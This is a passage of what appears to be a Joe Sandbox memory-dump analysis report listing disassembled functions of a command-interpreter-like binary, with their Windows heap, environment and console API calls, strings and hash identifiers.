                                                                                      • Opcode Fuzzy Hash: e33d06249403871d6f9610438f4bfbc3f30fdab118e84afd621e3dd41ff84285
                                                                                      • Instruction Fuzzy Hash: 03515033608B868AFB61DF21D8507E9B7A4FB49748FA04135EA4D8BA48DF3CD644CB10
                                                                                      Function 00007FF78CF532E4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 67COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                        • Part of subcall function 00007FF78CF533A8: iswspace.MSVCRT(?,?,00000000,00007FF78CF6D6EE,?,?,?,00007FF78CF60632), ref: 00007FF78CF533C0
                                                                                      • iswspace.MSVCRT(?,?,?,00007FF78CF532A4), ref: 00007FF78CF5331C
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000006.00000002.2147936819.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000006.00000002.2147919441.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147967698.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF94000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2148058581.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_6_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: iswspace
                                                                                      • String ID: off
                                                                                      • API String ID: 2389812497-733764931
                                                                                      • Opcode ID: 23619b9e270ea0a6abcdd2ffa6124d8d0217e46963fde130039e410627268166
                                                                                      • Instruction ID: 6480b70c170aa15dbd9c1b0a99839eddb1f88b844cf9df91cefdedba74a17849
                                                                                      • Opcode Fuzzy Hash: 23619b9e270ea0a6abcdd2ffa6124d8d0217e46963fde130039e410627268166
                                                                                      • Instruction Fuzzy Hash: 63218323E0C65282FA60BB199415279F691FF45B90FF98034DB4EC7681DF2CE648C721
                                                                                      Function 00007FF78CF69308 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 56COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000006.00000002.2147936819.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000006.00000002.2147919441.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147967698.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF94000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2148058581.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_6_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: wcschr$Heapiswspace$AllocProcess
                                                                                      • String ID: %s=%s$DPATH$PATH
                                                                                      • API String ID: 3731854180-3148396303
                                                                                      • Opcode ID: fb3125d80182464f50c82bc0c4d5350ea8168baa4617960a2893f38ef28f8be7
                                                                                      • Instruction ID: 036b41a41b42e3443563686428b115549a224a398465af9920b7347f3e89536e
                                                                                      • Opcode Fuzzy Hash: fb3125d80182464f50c82bc0c4d5350ea8168baa4617960a2893f38ef28f8be7
                                                                                      • Instruction Fuzzy Hash: 8021CF23B0869280FA90AB55E442679B7A4FF80B80FF84135EE0E87394DE3CE641C760
                                                                                      Function 00007FF78CF41130 Relevance: 6.2, APIs: 4, Instructions: 156COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000006.00000002.2147936819.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000006.00000002.2147919441.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147967698.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF94000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2148058581.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_6_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: memset$CurrentDirectorytowupper
                                                                                      • String ID:
                                                                                      • API String ID: 1403193329-0
                                                                                      • Opcode ID: 9eadb3359a7035c4c8b06301bcad4ec111c2959e7ad062144f1a1f931ae642b1
                                                                                      • Instruction ID: 34938d101e3c17445bcf68850be0c5ce68986eb2c664aa0f52c0914e28d38e59
                                                                                      • Opcode Fuzzy Hash: 9eadb3359a7035c4c8b06301bcad4ec111c2959e7ad062144f1a1f931ae642b1
                                                                                      • Instruction Fuzzy Hash: A6619E33A08B828AF720EB6198406BDB7A4FB84758FA48135EF5D47BA9DF38D550C710
                                                                                      Function 00007FF78CF46A48 Relevance: 6.1, APIs: 4, Instructions: 59memoryCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                        • Part of subcall function 00007FF78CF53C24: GetCurrentDirectoryW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0 ref: 00007FF78CF53D0C
                                                                                        • Part of subcall function 00007FF78CF53C24: towupper.MSVCRT ref: 00007FF78CF53D2F
                                                                                        • Part of subcall function 00007FF78CF53C24: iswalpha.MSVCRT ref: 00007FF78CF53D4F
                                                                                        • Part of subcall function 00007FF78CF53C24: towupper.MSVCRT ref: 00007FF78CF53D75
                                                                                        • Part of subcall function 00007FF78CF53C24: GetFullPathNameW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF78CF53DBF
                                                                                      • GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF78CF6EA0F,?,?,?,00007FF78CF6E925,?,?,?,?,00007FF78CF4B9B1), ref: 00007FF78CF46ABF
                                                                                      • RtlFreeHeap.NTDLL ref: 00007FF78CF46AD3
                                                                                        • Part of subcall function 00007FF78CF46B84: SetEnvironmentStringsW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,?,?,00007FF78CF46AE8,?,?,?,00007FF78CF6EA0F,?,?,?,00007FF78CF6E925), ref: 00007FF78CF46B8B
                                                                                        • Part of subcall function 00007FF78CF46B84: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,?,00007FF78CF46AE8,?,?,?,00007FF78CF6EA0F,?,?,?,00007FF78CF6E925), ref: 00007FF78CF46B97
                                                                                        • Part of subcall function 00007FF78CF46B84: RtlFreeHeap.NTDLL ref: 00007FF78CF46BAF
                                                                                        • Part of subcall function 00007FF78CF46B30: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF78CF46AF1,?,?,?,00007FF78CF6EA0F,?,?,?,00007FF78CF6E925), ref: 00007FF78CF46B39
                                                                                        • Part of subcall function 00007FF78CF46B30: RtlFreeHeap.NTDLL ref: 00007FF78CF46B4D
                                                                                        • Part of subcall function 00007FF78CF46B30: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF78CF46AF1,?,?,?,00007FF78CF6EA0F,?,?,?,00007FF78CF6E925), ref: 00007FF78CF46B59
                                                                                      • GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF78CF6EA0F,?,?,?,00007FF78CF6E925,?,?,?,?,00007FF78CF4B9B1), ref: 00007FF78CF46B03
                                                                                      • RtlFreeHeap.NTDLL ref: 00007FF78CF46B17
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000006.00000002.2147936819.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000006.00000002.2147919441.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147967698.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF94000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2148058581.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_6_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: Heap$Process$Free$towupper$CurrentDirectoryEnvironmentFullNamePathStringsiswalpha
                                                                                      • String ID:
                                                                                      • API String ID: 3512109576-0
                                                                                      • Opcode ID: bc717c9a596d532be53730772a57c2b9eba5803a0bc99b3bfc1eed86634cc025
                                                                                      • Instruction ID: db9d6d1d5fe00f67d44388a1a58d88d336c3f80c50e9fee55e48066bae8b6ec5
                                                                                      • Opcode Fuzzy Hash: bc717c9a596d532be53730772a57c2b9eba5803a0bc99b3bfc1eed86634cc025
                                                                                      • Instruction Fuzzy Hash: B4215E63A09A8286FB04FB6594146B8BBA0FF59B49FA49035CA4E47351DF2CA44AC371
                                                                                      Function 00007FF78CF4B6B0 Relevance: 6.1, APIs: 4, Instructions: 57memoryCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF78CF4AF82), ref: 00007FF78CF4B6D0
                                                                                      • HeapReAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF78CF4AF82), ref: 00007FF78CF4B6E7
                                                                                      • GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF78CF4AF82), ref: 00007FF78CF4B701
                                                                                      • HeapSize.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF78CF4AF82), ref: 00007FF78CF4B715
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000006.00000002.2147936819.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000006.00000002.2147919441.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147967698.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF94000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2148058581.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_6_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: Heap$Process$AllocSize
                                                                                      • String ID:
                                                                                      • API String ID: 2549470565-0
                                                                                      • Opcode ID: 11430d80cb485e7b9ceb592bfe559dc550d55c3bb95ca86021ccd698df5acc4f
                                                                                      • Instruction ID: c5aaebc4a83a77585b0de5ce297d1a4e145af95edb323bcd7207bbd6ef7fecd3
                                                                                      • Opcode Fuzzy Hash: 11430d80cb485e7b9ceb592bfe559dc550d55c3bb95ca86021ccd698df5acc4f
                                                                                      • Instruction Fuzzy Hash: 53212127A09B86D6FA14AB15E540478F6A1FF89B80BE8A431EA0E07755DF3CE546C720
                                                                                      Function 00007FF78CF65690 Relevance: 6.0, APIs: 4, Instructions: 44memoryCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000028,00007FF78CF65433,?,?,?,00007FF78CF669B8,?,?,?,?,?,00007FF78CF58C39), ref: 00007FF78CF656C5
                                                                                      • RtlFreeHeap.NTDLL ref: 00007FF78CF656D9
                                                                                      • GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000028,00007FF78CF65433,?,?,?,00007FF78CF669B8,?,?,?,?,?,00007FF78CF58C39), ref: 00007FF78CF656FD
                                                                                      • RtlFreeHeap.NTDLL ref: 00007FF78CF65711
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000006.00000002.2147936819.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000006.00000002.2147919441.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147967698.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF94000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2148058581.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_6_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: Heap$FreeProcess
                                                                                      • String ID:
                                                                                      • API String ID: 3859560861-0
                                                                                      • Opcode ID: 3558426be91c37f0606525c683e3d483ead9a8c3dc25e426f1ffeaf0c5774795
                                                                                      • Instruction ID: cab319b2169616d34df438b7210899bbe9c5cb1fb51d01f23f344ceab5734ba6
                                                                                      • Opcode Fuzzy Hash: 3558426be91c37f0606525c683e3d483ead9a8c3dc25e426f1ffeaf0c5774795
                                                                                      • Instruction Fuzzy Hash: E8111873A08B91D6EB009F56E4440ADBBB0FB8DF85B998125EB4E03718DF38E456C750
                                                                                      Function 00007FF78CF54AD0 Relevance: 6.0, APIs: 4, Instructions: 33memoryCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF78CF48798), ref: 00007FF78CF54AD6
                                                                                      • HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF78CF48798), ref: 00007FF78CF54AEF
                                                                                        • Part of subcall function 00007FF78CF54A14: GetEnvironmentStringsW.KERNELBASE(?,?,00000000,00007FF78CF549F1), ref: 00007FF78CF54A28
                                                                                        • Part of subcall function 00007FF78CF54A14: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF78CF549F1), ref: 00007FF78CF54A66
                                                                                        • Part of subcall function 00007FF78CF54A14: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF78CF549F1), ref: 00007FF78CF54A7D
                                                                                        • Part of subcall function 00007FF78CF54A14: memmove.MSVCRT(?,?,00000000,00007FF78CF549F1), ref: 00007FF78CF54A9A
                                                                                        • Part of subcall function 00007FF78CF54A14: FreeEnvironmentStringsW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,00000000,00007FF78CF549F1), ref: 00007FF78CF54AA2
                                                                                      • GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF78CF48798), ref: 00007FF78CF5EE64
                                                                                      • RtlFreeHeap.NTDLL ref: 00007FF78CF5EE78
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000006.00000002.2147936819.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000006.00000002.2147919441.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147967698.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF94000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2148058581.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_6_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: Heap$Process$AllocEnvironmentFreeStrings$memmove
                                                                                      • String ID:
                                                                                      • API String ID: 2759988882-0
                                                                                      • Opcode ID: 7a5c712774281da9825380d2707369d566eac4a7ff1e30a642231065effaaf4a
                                                                                      • Instruction ID: ea0f39b59fb40e4d92569d7d512405dde19547395f7b907123ddc527dc10058a
                                                                                      • Opcode Fuzzy Hash: 7a5c712774281da9825380d2707369d566eac4a7ff1e30a642231065effaaf4a
                                                                                      • Instruction Fuzzy Hash: 5EF04F22B19B8297FB04AB659405178E9E1FF8EB41FA9D034DE0E82340EE3CA509C721
                                                                                      Function 00007FF78CF6F22C Relevance: 6.0, APIs: 4, Instructions: 20COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000006.00000002.2147936819.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000006.00000002.2147919441.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147967698.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF94000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2148058581.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_6_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: ConsoleMode_get_osfhandle
                                                                                      • String ID:
                                                                                      • API String ID: 1606018815-0
                                                                                      • Opcode ID: 422b38324ae02b1855cf7ad64e97296a8d78d568ed733181d0d72e350d9743d9
                                                                                      • Instruction ID: f9a527070c99a8bf6cb008b63be5511e381ce014da188d2ae00038686d0b1a47
                                                                                      • Opcode Fuzzy Hash: 422b38324ae02b1855cf7ad64e97296a8d78d568ed733181d0d72e350d9743d9
                                                                                      • Instruction Fuzzy Hash: 8DF01232524A82DBE7046B10E445179FAA0FB8AB02F949234EA0B02394DF3CD019CB11
                                                                                      Function 00007FF78CF4CAD4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 83COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000006.00000002.2147936819.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000006.00000002.2147919441.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147967698.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF94000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2148058581.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_6_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: ConsoleTitle
                                                                                      • String ID: -
                                                                                      • API String ID: 3358957663-3695764949
                                                                                      • Opcode ID: 6064907e277deedeb5a502c31a0978855624e0bf0fd413fe06aa3058ee5bb337
                                                                                      • Instruction ID: b52ae294b5ef1b8cf45b3ce40a511f7975b8988d9aef4b328f1e22d5b6f9b082
                                                                                      • Opcode Fuzzy Hash: 6064907e277deedeb5a502c31a0978855624e0bf0fd413fe06aa3058ee5bb337
                                                                                      • Instruction Fuzzy Hash: 0231A223A0874286FA04BB11A840078EAA4FF49F90FB56135DE0E17BD5EF3CE441C324
                                                                                      Function 00007FF78CF57280 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 74COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000006.00000002.2147936819.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000006.00000002.2147919441.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147967698.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF94000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2148058581.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_6_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: _wcsnicmpswscanf
                                                                                      • String ID: :EOF
                                                                                      • API String ID: 1534968528-551370653
                                                                                      • Opcode ID: 0653d2a24574df907a156a73786289bc793a3e356bc39756bce3d9cad3207eea
                                                                                      • Instruction ID: 9f7933a918f86561c7d85545699f46e181e42afbb407e269f3779df21b391ffb
                                                                                      • Opcode Fuzzy Hash: 0653d2a24574df907a156a73786289bc793a3e356bc39756bce3d9cad3207eea
                                                                                      • Instruction Fuzzy Hash: EF319233E28A4287FB14BB15A544278F6A1FF44B50FF45132EB4D86291DF2CE981CB60
                                                                                      Function 00007FF78CF4B62C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 38COMMON
                                                                                      Download Yara Rule
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000006.00000002.2147936819.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000006.00000002.2147919441.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147967698.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF94000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2148058581.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_6_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID:
                                                                                      • String ID: 3$3
                                                                                      • API String ID: 0-2538865259
                                                                                      • Opcode ID: b8f86acd81ff1c6da407d28336be8d8a1ddaaa1636690dcce93971c28c339212
                                                                                      • Instruction ID: 2723258db98d48c9ab5a96222334d120ad26507d749040488a477a6231744fd0
                                                                                      • Opcode Fuzzy Hash: b8f86acd81ff1c6da407d28336be8d8a1ddaaa1636690dcce93971c28c339212
                                                                                      • Instruction Fuzzy Hash: BE011373D0E9828BF318BB60E984678F660FF54311FF44175E50E295A2DF2C6899C662
                                                                                      Function 00007FF78CF506C0 Relevance: 5.1, APIs: 4, Instructions: 97memoryCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF78CF4B4DB), ref: 00007FF78CF506D6
                                                                                      • HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF78CF4B4DB), ref: 00007FF78CF506F0
                                                                                      • GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF78CF4B4DB), ref: 00007FF78CF5074D
                                                                                      • HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF78CF4B4DB), ref: 00007FF78CF50762
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000006.00000002.2147936819.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000006.00000002.2147919441.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147967698.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF94000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2148058581.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_6_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: Heap$AllocProcess
                                                                                      • String ID:
                                                                                      • API String ID: 1617791916-0
                                                                                      • Opcode ID: cb757f755a027b81a776796b91978963b45d8166734cf522aad66d61178eecf0
                                                                                      • Instruction ID: 3cdc74ef695837155414687ed01302ed9fcc700143c81be1e03eb650fa358dfd
                                                                                      • Opcode Fuzzy Hash: cb757f755a027b81a776796b91978963b45d8166734cf522aad66d61178eecf0
                                                                                      • Instruction Fuzzy Hash: C6413773A0A642C6FA14AF20F44417ABBA0FF85B80BA88034DB4E47794DF3CE545CB60